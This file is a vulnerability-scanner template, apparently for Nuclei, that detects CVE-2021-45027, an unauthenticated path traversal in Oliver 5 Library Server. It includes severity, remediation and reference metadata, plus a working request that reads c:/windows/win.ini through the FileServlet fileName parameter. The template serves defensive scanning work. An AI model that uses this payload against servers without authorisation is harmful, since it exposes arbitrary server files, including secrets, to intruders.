id: CVE-2021-45027

info:
  name: Oliver 5 Library Server <8.00.008.053 - Local File Inclusion
  author: gy741
  severity: high
  description: Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Windows server including win.ini via path traversal in the fileName parameter.
  remediation: |
    Upgrade to Oliver 5 Library Server version 8.00.008.053 or later.
  reference:
    - https://www.exploit-db.com/exploits/50599
    - https://www.softlinkint.com/product/oliver/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45027
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45027
    epss-score: 0.01642
    epss-percentile: 0.74054
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2021,lfi,oliver,edb,windows,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a0047304502203676b3cba69ac69bf18f37ef1c7e5b05fb971c408fde4f48b4f8d0529e552018022100fb4d2e694c9aa0dc26984dc3033c2a769843681039589c33a61209824359914f:922c64590222798bb761d5b6d8e72950